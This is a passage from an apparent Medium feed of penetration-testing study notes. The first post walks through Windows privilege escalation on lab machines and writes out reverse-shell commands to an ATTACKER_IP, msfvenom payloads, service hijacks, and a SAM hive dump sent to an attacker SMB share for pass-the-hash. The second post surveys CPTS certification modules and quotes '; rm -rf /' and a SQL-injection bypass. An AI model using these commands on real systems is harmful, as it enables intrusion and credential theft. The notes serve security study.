connectionString</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*VktC1Iwss6GYTii6TcmLAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*AMoVOLw1Th0H98YgG9UaCQ.png" /></figure><ul><li>Scheduled Tasks</li></ul><p>It is the same as the cron jobs in Linux.</p><p>A scheduled task is an automated process that runs a program or script at a pre-defined time or when specific conditions are met, eliminating manual intervention.</p><ul><li>List all schtasks and Task To Run ( The place where it works )</li></ul><pre>schtasks /query /fo LIST /v | findstr &quot;TaskName: Task To Run:&quot;  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*G-ocmd72Qxwyv0enKLZhrQ.png" /></figure><pre># C:\&gt; icacls c:\tasks\schtask.bat<br><br>c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)<br>                    BUILTIN\Administrators:(I)(F)<br>                    BUILTIN\Users:(I)(F)</pre><p>All Users have full control.</p><pre># echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 &gt; C:\tasks\schtask.bat<br># nc -lvp 4444  ==&gt; on the attacker<br># schtasks /run /tn vulntask</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*vyCNHr7eGZKto9ed-wF6Og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfc6XqE1WGDel5edQfkVwQ.png" /></figure><ul><li>AlwaysInstallElevated</li></ul><p>Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user who starts it.</p><pre>C:\&gt; reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer<br>C:\&gt; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer</pre><p>You should run these regs to exploit this misconfiguration.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi</pre><p>Transfer the backdoor to the victim</p><pre># python3 -m http.server 7777  ===&gt; on the attacker<br># wget http://IP:PORT/malicious.msi -O malicious.msi  ===&gt; on victim (powershell)</pre><pre>C:\&gt; msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi</pre><ul><li>Insecure Permissions on Service Executable.</li></ul><pre>### to get all services running<br># Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq &#39;Running&#39; } | Select-Object Name, StartName, PathName  </pre><pre>C:\&gt; sc qc WindowsScheduler<br>[SC] QueryServiceConfig SUCCESS<br><br>SERVICE_NAME: windowsscheduler<br>        TYPE               : 10  WIN32_OWN_PROCESS<br>        START_TYPE         : 2   AUTO_START<br>        ERROR_CONTROL      : 0   IGNORE<br>        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe<br>        LOAD_ORDER_GROUP   :<br>        TAG                : 0<br>        DISPLAY_NAME       : System Scheduler Service<br>        DEPENDENCIES       :<br>        SERVICE_START_NAME : .\svcuser1<br>-------------------------<br>C:\Users\thm-unpriv&gt;icacls C:\PROGRA~2\SYSTEM~1\WService.exe<br>C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)<br>                                  NT AUTHORITY\SYSTEM:(I)(F)<br>                                  BUILTIN\Administrators:(I)(F)<br>                                  BUILTIN\Users:(I)(RX)<br>                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)<br>                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)<br><br>Successfully processed 1 files; Failed processing 0 files</pre><pre> msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*viKY0Strw3NIkxQcssVXmQ.png" /></figure><pre>C:\&gt; cd C:\PROGRA~2\SYSTEM~1\<br><br>C:\PROGRA~2\SYSTEM~1&gt; move WService.exe WService.exe.bkp<br>        1 file(s) moved.<br><br>C:\PROGRA~2\SYSTEM~1&gt; move C:\Users\thm-unpriv\rev-svc.exe WService.exe<br>        1 file(s) moved.<br><br>C:\PROGRA~2\SYSTEM~1&gt; icacls WService.exe /grant Everyone:F<br>        Successfully processed 1 files.</pre><pre>nc -lvp 4445 ===&gt; on the attacker</pre><pre>C:\&gt; sc stop windowsscheduler<br>C:\&gt; sc start windowsscheduler</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T-J21ERM-8oPyNIe4zy5tg.png" /></figure><ul><li>Unquoted Service Paths</li></ul><p><strong>Like this ==&gt; C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe</strong></p><pre># To get all services running with quoted and unquoted <br># Get-WmiObject -Class Win32_Service |<br>Where-Object {<br>$_.PathName -and<br>($_.PathName -notlike &quot;C:\Windows\*&quot; -and $_.PathName -notlike<br>&#39;&quot;C:\Windows\*&#39;)<br>} |<br>Select-Object Name, PathName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*p8gAgax8WbXOAYQTJg22fA.png" /></figure><pre> # icacls c:\MyPrograms</pre><pre>▪ The permissions of the icacls are :<br>▪ R: Read<br>▪ X: Execute (traverse folders/run files)<br>▪ F: Full Control<br>▪ I: Inherited (permission is inherited, not explicitly set)<br>▪ M: Modify (read/write/delete)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*uq0sTEGPq0XCTLgme0QHZA.png" /></figure><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*c-lhrpvrj-1rkAJJZdq0TA.png" /></figure><pre>C:\&gt; move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe<br><br>C:\&gt; icacls C:\MyPrograms\Disk.exe /grant Everyone:F<br>        Successfully processed 1 files.</pre><pre># nc -lnvp 4446<br>C:\&gt; sc stop &quot;disk sorter enterprise&quot;<br>C:\&gt; sc start &quot;disk sorter enterprise&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFOdsEBaTok6UO-5Q73G0w.png" /></figure><ul><li>Insecure Service Permissions</li></ul><pre>C:\tools\AccessChk&gt; accesschk64.exe -qlc thmservice<br>  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM<br>        SERVICE_QUERY_STATUS<br>        SERVICE_QUERY_CONFIG<br>        SERVICE_INTERROGATE<br>        SERVICE_ENUMERATE_DEPENDENTS<br>        SERVICE_PAUSE_CONTINUE<br>        SERVICE_START<br>        SERVICE_STOP<br>        SERVICE_USER_DEFINED_CONTROL<br>        READ_CONTROL<br>  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users<br>        SERVICE_ALL_ACCESS</pre><pre># msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe<br># nc -lnvp 4447</pre><pre># icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F<br># sc config THMService binPath= &quot;C:\Users\thm-unpriv\rev-svc3.exe&quot; obj= LocalSystem<br># C:\&gt; sc stop THMService<br># C:\&gt; sc start THMService</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*g5bD9_vs5LcfoFrcO8x81Q.png" /></figure><p>— — — — — — — — — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DbLwJFbCQpNn1IIatQo1zw.png" /></figure><pre>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*_AU_q7tnsbKE5yyUo4SR7w.png" /></figure><h3>SeBackup / SeRestore</h3><p>The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.</p><p>You can save sam and system files to extract all hashes:</p><pre>C:\&gt; reg save hklm\system C:\Users\THMBackup\system.hive<br>The operation completed successfully.<br><br>C:\&gt; reg save hklm\sam C:\Users\THMBackup\sam.hive<br>The operation completed successfully.</pre><pre># mkdir share  ===&gt; on the attacker<br># impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaePuDUNNWh0tBFvycAc8Q.png" /></figure><pre>C:\&gt; copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\<br>C:\&gt; copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*uXqc6QNlfXSrosjXmctR4Q.png" /></figure><pre>impacket-secretsdump -sam sam.hive -system system.hive LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nKoP7K7m0s9debQVXeQL7w.png" /></figure><pre>#impacket-psexec  -hashes aad3b435b51404eeaad3b435b51404ee:13a0.......... administrator@ip-target</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWat4L8rTUOjPSMrJZYBKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*H047sRStYTbBw2jmF8gLVw.png" /></figure><p>SeTakeOwnership permission (Task) ==&gt; search how to exploit it.</p><ul><li>Automation Tool</li></ul><p>WinPEAS</p><pre># winpeas.exe &gt; outputfile.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJvnHaGzrnC8la_BkSfcYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5dACA3NTAbc9Fs8ZSKyqg.png" /></figure><p><strong>Resources:</strong></p><ul><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md">PayloadsAllTheThings — Windows Privilege Escalation</a></li><li><a href="https://github.com/gtworek/Priv2Admin">Priv2Admin — Abusing Windows Privileges</a></li><li><a href="https://github.com/antonioCoco/RogueWinRM">RogueWinRM Exploit</a></li><li><a href="https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html">Potatoes</a></li><li><a href="https://decoder.cloud/">Decoder’s Blog</a></li><li><a href="https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf">Token Kidnapping</a></li></ul><p>My Notice ==&gt; <a href="https://sedate-session-3ae.notion.site/Penetration-Testing-Methodology-1dd28247500f80fdb8efdabcbd222ab9">https://sedate-session-3ae.notion.site/Penetration-Testing-Methodology-1dd28247500f80fdb8efdabcbd222ab9</a></p><p><a href="https://sedate-session-3ae.notion.site/Bug-Hunter-Methodology-22828247500f80c089bcd1eedc18a539?pvs=74">https://sedate-session-3ae.notion.site/Bug-Hunter-Methodology-22828247500f80c089bcd1eedc18a539?pvs=74</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1795b94de5f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Certified Penetration Testing Specialist (CPTS) Overview and Tips & Tricks]]></title>
            <link>https://modywz13.medium.com/certified-penetration-testing-specialist-cpts-overview-and-tips-tricks-a060fd602543?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/a060fd602543</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 21:34:55 GMT</pubDate>
            <atom:updated>2025-09-15T21:34:55.669Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T-p8Gog4r_Yzx6WRn02PDw.jpeg" /></figure><p>HTB Certified Penetration Testing Specialist (CPTS) is a highly hands-on certification that assesses the candidates’ penetration testing skills. HTB Certified Penetration Testing Specialist certification holders will possess technical competency in the ethical hacking and penetration testing domains at an intermediate level. They will also be able to assess the risk at which an infrastructure is exposed and compose a commercial-grade as well as actionable report.</p><h3>📑 Table of Contents</h3><p>1- Penetration Testing Process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*rR9Wsj_ZpmIF-n1y4yARBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNIRtbOJrMu5Yg2rxZxzeQ.webp" /></figure><pre>https://academy.hackthebox.com/module/90/section/1569</pre><h3>A Quick Guide to the Penetration Tester Path</h3><p>This guide provides an overview of the Penetration Tester Path offered by HTB Academy, designed for both aspiring and experienced cybersecurity professionals. The path is a hands-on journey that teaches the core concepts and practical skills needed for a successful career in penetration testing.</p><h4>What You’ll Learn</h4><p>The path covers the entire penetration testing process, from initial reconnaissance to final reporting. It focuses on a <strong>“learn by doing”</strong> philosophy, emphasizing practical, hands-on learning over just theory. The curriculum is broken down into the following key phases:</p><ul><li><strong>Reconnaissance, Enumeration &amp; Attack Planning:</strong> Learn how to gather information on a target, identify potential weaknesses, and plan your attack using tools like <strong>Nmap</strong> and <strong>Metasploit</strong>.</li><li><strong>Exploitation &amp; Lateral Movement:</strong> Discover how to exploit vulnerabilities and move deeper into a network, with modules covering <strong>Password Attacks</strong>, <strong>Active Directory Attacks</strong>, and <strong>Pivoting</strong> techniques.</li><li><strong>Web Exploitation:</strong> Dive into common web application attacks, including <strong>SQL Injection</strong>, <strong>Cross-Site Scripting (XSS)</strong>, and <strong>File Upload Attacks</strong>.</li><li><strong>Post-Exploitation:</strong> Learn how to escalate privileges on both <strong>Linux</strong> and <strong>Windows</strong> systems to gain full control.</li><li><strong>Reporting &amp; Capstone:</strong> The path culminates in a final module on the essential “soft skills” of a penetration tester, such as <strong>documentation</strong>, <strong>reporting</strong>, and client communication, followed by a simulated penetration test to apply all your skills.</li></ul><p>2- Getting Started</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*kXhIw6lxeABinbCNRHeElQ.png" /></figure><pre>https://academy.hackthebox.com/module/77/section/721</pre><p>This module covers the fundamentals of penetration testing and an introduction to Hack The Box including (connecting using vpn,Public exploits,Type of shells,fundamentals of privilege escalation)</p><p>3- Network Enumeration with Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*i9E0cPCqxPQDaSFe8qNWaw.png" /></figure><pre>https://academy.hackthebox.com/module/19/section/99</pre><p>In this module you use nmap for enumeration.<br> You use nmap for service version detection.<br> You use nmap to bypass firewalls , IDS and IPS.<br> You use nmap for host enumeration.</p><p>4- Footprinting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*qLmEOThjhVFK9l6bl8t0_A.png" /></figure><pre>https://academy.hackthebox.com/module/112/section/1060</pre><p>This enumerations and attacks protocols including:</p><ul><li><strong>DNS</strong></li><li><strong>FTP</strong></li><li><strong>WinRM</strong></li><li><strong>MySQL / MSSQL / Oracle TNS</strong></li><li><strong>NFS</strong></li><li><strong>SMB / NetBIOS</strong></li><li><strong>POP3 / IMAP / SMTP</strong></li><li><strong>RDP / SSH / IPMI</strong></li><li><strong>Rsync / R-Service</strong></li><li><strong>SNMP</strong></li></ul><p>5- Information Gathering — Web Edition</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*vLGyPEVxoCUhAh0znKQ30g.png" /></figure><pre>https://academy.hackthebox.com/module/144/section/1247</pre><ul><li>Recon (Active,passive)</li><li>Subdomain Enumeration with vhost</li><li>Enumeration files</li><li>Crawling</li><li>DNS zone transfers</li></ul><p>6- Vulnerability Assessment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*fi15BSG-1ZOqrfNLGb2Egw.png" /></figure><pre>https://academy.hackthebox.com/module/108/section/1160</pre><p>You learn what CVE means.<br> You learn what CVSS means.<br> You learn how to use Nessus and OpenVAS.<br> You learn how to assess vulnerabilities.</p><p>7- File Transfers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*lSz52ElQ7MzoQ4JlsSJStA.png" /></figure><pre>https://academy.hackthebox.com/module/24/section/159</pre><p>You will learn how to transfer files payloads and tools from the victim to the attacker.<br> You will learn how to transfer files payloads and tools from the attacker to the victim.</p><p>Using (SCP, wget, Living off The Land, smb,powershell,nc)</p><p>8- Shells &amp; Payloads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*wmOhJDBsde2FVrlyGHThrg.png" /></figure><pre>https://academy.hackthebox.com/module/115/section/1101</pre><p>A shell is an interface where you run commands on the victim.<br> You learn how to build shells.<br> Types include web shell, reverse shell, and bind shell.<br> You learn how to use msfvenom.</p><p>9- Using the Metasploit Framework</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*pBFCrTMPj4_iqoqfV8-CcA.png" /></figure><pre>https://academy.hackthebox.com/module/39/section/381</pre><p>You learn how to use Metasploit.<br> You learn how to exploit a CVE and search for available exploits.<br> You learn how to use Nmap alongside Metasploit.<br> You learn how to establish persistence.</p><p>10- Password Attacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*vmv3MRsikspisZIk6AlIog.png" /></figure><pre>https://academy.hackthebox.com/module/147/section/1312</pre><p>You will learn how to crack hashes.<br> You will learn how to extract a password protected archive.<br> You will learn how to attack LSASS.<br> You will learn how to attack NTDS.dit in Active Directory.<br> You will learn how to perform lateral movement using Pass the Hash.<br> You will learn how to perform lateral movement using Pass the Ticket.</p><p>11- Attacking Common Services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*pbFqMnqKaPcTitL5wqdqfg.png" /></figure><pre>https://academy.hackthebox.com/module/116/section/1140</pre><p>advanced techniques for hacking protocols</p><p>12- Pivoting, Tunneling, and Port Forwarding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*UfAU-hlzDi2YOQIyL2Js4w.png" /></figure><pre>https://academy.hackthebox.com/module/158/section/1425</pre><p>You will learn lateral movement (Pivoting,Tunneling,Port Forwarding) using advanced tools like (chisel,Netsh,Rpivot,plink) and using protocols to do pivoting and port forwarding like SSH</p><p>13- Active Directory Enumeration &amp; Attacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*vtN0XMajltScRqWoHo7BBw.png" /></figure><pre>https://academy.hackthebox.com/module/143/section/1262</pre><p>Active Directory enumeration using Powerview module and Active Directory module.</p><p>Active Directory attacks include:</p><ul><li>DCSync</li><li>Kerberoasting</li><li>Trust abuse between domains</li><li>Misconfigurations</li><li>CVE vulnerabilities</li><li>Password Spraying</li><li>LLMNR/NBT-NS Poisoning</li><li>Attack ACLs</li></ul><p>You use tools like Mimikatz and Rubeus<br> You run them on Windows<br> You run them from Linux using Impacket</p><p>14- Using Web Proxies</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*eXUHWVOZ7NdXg4ZVfeGjqw.png" /></figure><pre>https://academy.hackthebox.com/module/110/section/1045</pre><p>Web app pentesting frameworks are crucial for identifying vulnerabilities. This module covers two top tools: Burp Suite, a comprehensive proxy for intercepting and manipulating traffic, and OWASP ZAP.</p><p>15- Attacking Web Applications with Ffuf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*QzRBwefihhExJfQyZy8bpw.png" /></figure><pre>https://academy.hackthebox.com/module/54/section/484</pre><p>Web Fuzzing and Directory Brute Forcing with Ffuf</p><p>This module introduces key enumeration techniques using Ffuf, a high-speed web fuzzer written in Go. It emphasizes directory brute forcing to uncover hidden paths and files, web fuzzing for vulnerability detection, and parameter discovery to identify exploitable inputs in applications.</p><p>All usages include:</p><ul><li>Directory and file brute forcing: Scan for undisclosed endpoints like /admin or .php files.</li><li>Virtual host (VHost) fuzzing: Test subdomains or hosts via Host header manipulation.</li><li>GET/POST parameter fuzzing: Probe query strings or form data for valid names/values.</li><li>Value fuzzing: Inject payloads to find LFI or other flaws.</li><li>Content discovery: Enumerate APIs, backups, or sensitive resources.</li><li>Integration: Combine with tools like Burp Suite for chained attacks or custom wordlists for precision.</li></ul><p>16- Login Brute Forcing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*3bhVuyxcFKgBCgBoDRjafg.png" /></figure><pre>https://academy.hackthebox.com/module/57/section/506</pre><p>Brute-Forcing Techniques in Penetration Testing</p><p>This module delves into brute-forcing methods for cracking weak credentials, highlighting tools like Hydra for versatile protocol attacks and Medusa for efficient parallel brute-forcing. It stresses the critical role of robust password policies, multi-factor authentication, and rate limiting to mitigate risks. Coverage includes real-world scenarios targeting services such as SSH for remote access breaches, FTP for file transfer exploits, and web login forms for unauthorized entry into applications.</p><p>All usages include:</p><ul><li>Hydra: Multi-protocol support (SSH, HTTP, SMB, etc.), custom wordlists, password spraying, form-based attacks, proxy integration, and speed optimization for large-scale testing.</li><li>Medusa: Parallel brute-forcing across modules (FTP, ٍٍSSH, RDP), modular design for extensibility, username/password combo testing, and integration with scripts for automated workflows.</li><li>General techniques: Offline attacks on hashes, online dictionary attacks, hybrid methods combining rules/masks, and defensive strategies like account lockouts or CAPTCHA implementation.</li></ul><p>17- SQL Injection Fundamentals</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*C6s2Z3jwTK8Z_AxfpCk1Vw.png" /></figure><pre>https://academy.hackthebox.com/module/33/section/177</pre><p>SQL Injection in Web Applications</p><p>This module explores the role of databases in web infrastructure, using SQL for data management, and delves into SQL injection (SQLi) as a prevalent attack vector exploiting unsanitized inputs. It covers how attackers craft malicious queries to manipulate database operations, evade security controls, extract sensitive information like user credentials or proprietary data, tamper with records, or escalate to remote code execution on the server. Emphasis is placed on common vulnerable points such as login forms, search fields, and URL parameters, alongside mitigation strategies including prepared statements, input validation, web application firewalls (WAFs), and least privilege principles for database users.</p><p>All usages include:</p><ul><li>Authentication bypass: Injecting payloads like ‘ OR ‘1’=’1 to log in without valid credentials.</li><li>Data extraction: Using UNION SELECT to dump database schemas, tables, or entire datasets.</li><li>Data manipulation: Altering queries to update, delete, or insert records maliciously.</li><li>Blind SQLi: Inferring data via time-based or boolean-based techniques when no direct output is visible.</li><li>Error-based SQLi: Triggering database errors to reveal system information.</li><li>Out-of-band SQLi: Exfiltrating data through HTTP requests.</li><li>Stacked queries: Executing multiple statements separated by semicolons for broader exploitation.</li><li>Integration: Combining with tools like SQLMap for automated detection and exploitation, or proxy tools for manual injection testing.</li><li>More info <a href="https://medium.com/@modywz13/sql-injection-to-rce-htb-lab-71dad35394aa">Click_here</a></li></ul><p>18- SQLMap Essentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*DtOwsr6Nguu786KC4o-vQQ.png" /></figure><pre>https://academy.hackthebox.com/module/58/section/509</pre><p>SQLMap Essentials</p><p>This module introduces SQLMap, an open-source penetration testing tool for automating the detection and exploitation of SQL injection flaws in web applications. It covers foundational usage for identifying injection points across various database types (MySQL, PostgreSQL, MSSQL, etc.), progressing to advanced techniques like database enumeration, table dumping, column extraction, and full data retrieval. Additionally, it explores escalating SQLi to remote code execution (RCE) in vulnerable setups, where attackers can inject OS commands via database functions (e.g., writing files or executing system calls), enabling remote command execution on the server for further compromise, such as shell access or privilege escalation. Best practices for ethical testing and defenses like parameterized queries are also discussed.</p><p>All usages include:</p><ul><li>Vulnerability detection: Scanning URLs or requests for injectable parameters using techniques like boolean-based, time-based, error-based, UNION, or stacked queries.</li><li>Database fingerprinting: Identifying backend DBMS version, type, and configuration.</li><li>Enumeration: Listing databases, tables, columns, and dumping contents with options for selective or bulk extraction.</li><li>Data exfiltration: Retrieving hashes, user credentials, or sensitive records, with support for cracking hashes offline.</li><li>Escalation to RCE: Using — os-cmd or — os-shell for command injection if the DBMS allows (e.g., via xp_cmdshell in MSSQL or file privileges in MySQL).</li><li>File operations: Reading/writing server files, uploading backdoors, or accessing system files through SQLi.</li><li>Advanced options: Bypassing WAFs with tamper scripts, proxy support, batch mode for automation, and integration with other tools like Burp for targeted attacks.</li><li>Risk assessment: Evaluating injection severity and recommending mitigations like input sanitization or stored procedures.</li><li>More info <a href="https://medium.com/@modywz13/sql-injection-to-rce-htb-lab-71dad35394aa">Click_here</a></li></ul><p>19- Cross-Site Scripting (XSS)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*ZwV_qshGhohpVFObb3CjhQ.png" /></figure><pre>https://academy.hackthebox.com/module/103/section/965</pre><p>Cross-Site Scripting (XSS) is a prevalent web application vulnerability that allows attackers to inject malicious JavaScript code into a target’s browser. If chained with other vulnerabilities, XSS can lead to severe consequences like session hijacking, data theft, or full application compromise.</p><h3>Types of XSS</h3><ol><li><strong>Reflected XSS</strong>: Malicious code is embedded in a URL or input (e.g., search query) and executed when the user visits the manipulated link. The payload is not stored on the server.</li><li><strong>Stored XSS</strong>: Malicious code is stored on the server (e.g., in a database) and executed when users access the affected page, such as in comments or forum posts.</li><li><strong>DOM-Based XSS</strong>: The vulnerability occurs in the client-side script, where untrusted input manipulates the Document Object Model (DOM), leading to script execution without server interaction.</li></ol><p>20- File Inclusion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*N86LpWmuDhpmrK2U62dztQ.png" /></figure><pre>https://academy.hackthebox.com/module/23/section/250</pre><p>File Inclusion is a web application vulnerability that allows attackers to include and execute arbitrary files on the server or client side, often due to improper input validation. This can lead to sensitive data exposure, code execution, or complete system compromise.</p><h3>Types of File Inclusion</h3><ol><li><strong>Local File Inclusion (LFI)</strong>: Attackers include files from the server’s local filesystem, potentially exposing sensitive files (e.g., /etc/passwd) or executing malicious code within accessible files.</li><li><strong>Remote File Inclusion (RFI)</strong>: Attackers include files from a remote server, allowing execution of malicious scripts hosted externally, often leading to full server compromise.</li></ol><p>21- File Upload Attacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*SJv-WmK9Qvpxa3ujmXihaA.png" /></figure><pre>https://academy.hackthebox.com/module/136/section/1259</pre><h3>Arbitrary File Uploads Vulnerability Overview</h3><p>Arbitrary file uploads are critical web vulnerabilities that allow attackers to upload malicious files to a server. These flaws can lead to arbitrary command execution, server compromise, sensitive data exposure, or service disruption.</p><h3>Firewall Bypass Techniques</h3><ol><li><strong>Blacklist Bypass</strong>: Attackers evade blacklisted file extensions (e.g., .php) by using alternate extensions (e.g., .php5, .phtml) or obfuscating filenames to bypass weak validation.</li><li><strong>Whitelist Bypass</strong>: Attackers exploit weak whitelist checks by uploading files with allowed extensions (e.g., .jpg) containing malicious code, leveraging server misconfigurations or MIME type validation flaws.</li></ol><p>22- Command Injections</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*YjI9timCti__bffDm1Id8w.png" /></figure><pre>https://academy.hackthebox.com/module/109/section/1031</pre><p>Command injection vulnerabilities allow attackers to execute arbitrary system commands on a server, potentially compromising the server and its network. This occurs due to improper sanitization of user input used in system commands.</p><h3>Identification and Exploitation</h3><ul><li><strong>Identification</strong>: Look for user inputs (e.g., form fields, URL parameters) directly passed to system commands like exec() or system() without validation.</li><li><strong>Exploitation</strong>: Inject malicious commands (e.g., ; rm -rf /) via inputs to execute unauthorized actions, such as file deletion or data exfiltration.</li></ul><h3>Filter Bypassing Techniques</h3><ol><li><strong>Whitespace Alternatives</strong>: Use tabs (%09), newlines (%0a), or encoded spaces to bypass space filters.</li><li><strong>Command Separators</strong>: Use ;, &amp;&amp;, ||, or backticks to chain commands, evading basic input sanitization.</li><li><strong>Obfuscation</strong>: Encode payloads (e.g., base64) or use variables to bypass keyword-based filters.</li></ol><p>23- Web Attacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*RThmTNeygNvSOtHPzD-aag.png" /></figure><pre>https://academy.hackthebox.com/module/134/section/1158</pre><h3>HTTP Verb Tampering</h3><h3>Insecure Direct Object Reference (IDOR)</h3><h3>XML External Entity (XXE)</h3><p>24- Attacking Common Applications</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*knNTUferon8J7brgbS8aSg.png" /></figure><pre>https://academy.hackthebox.com/module/113/section/1087</pre><p>Attack for wordpress,joomla,Drupal,Tomcat,Gitlab,Splunk</p><p>25,26- Linux,Windows Privilege Escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*IwBR5rFSSYeSYlM_53kTNQ.png" /></figure><pre>https://academy.hackthebox.com/module/51/section/466</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*ER-CWIZwAHav2HdnjgGiDQ.png" /></figure><pre>https://academy.hackthebox.com/module/67/section/623</pre><p><strong>Privilege escalation</strong> is a critical phase in any security assessment. During this stage, the goal is to gain access to additional users, hosts, and resources, moving closer to the overall objective of the test.</p><p>These modules focuse on the most common methods for escalating privileges, emphasizing <strong>real-world misconfigurations and flaws</strong> you would likely encounter in a professional environment. The techniques covered are practical and designed to avoid the extreme “edge-case” tactics often found in Capture the Flag (CTF) exercises.</p><p>27- Documentation &amp; Reporting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*oQ55NeRZkbja1mk9J11OZw.png" /></figure><pre>https://academy.hackthebox.com/module/162/section/1533</pre><p>Good documentation is essential for any security assessment. The final report, often presented to a diverse audience within an organization, is the primary deliverable. To ensure this report is comprehensive, you must take <strong>detailed and organized notes</strong> throughout the engagement. Proper documentation not only helps illustrate the impact of your findings but also serves as a crucial reference in the event of an incident during the assessment.</p><p>28- Attacking Enterprise Networks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*MOjuiadU00BF9YB_bzoZKw.png" /></figure><pre>https://academy.hackthebox.com/module/163/section/1540</pre><p>This module will guide you through a <strong>full-scale simulated penetration test</strong> on a large, complex network. The focus is on providing hands-on experience that is directly applicable to <strong>real-world engagements</strong>. You’ll learn how to navigate each phase of the 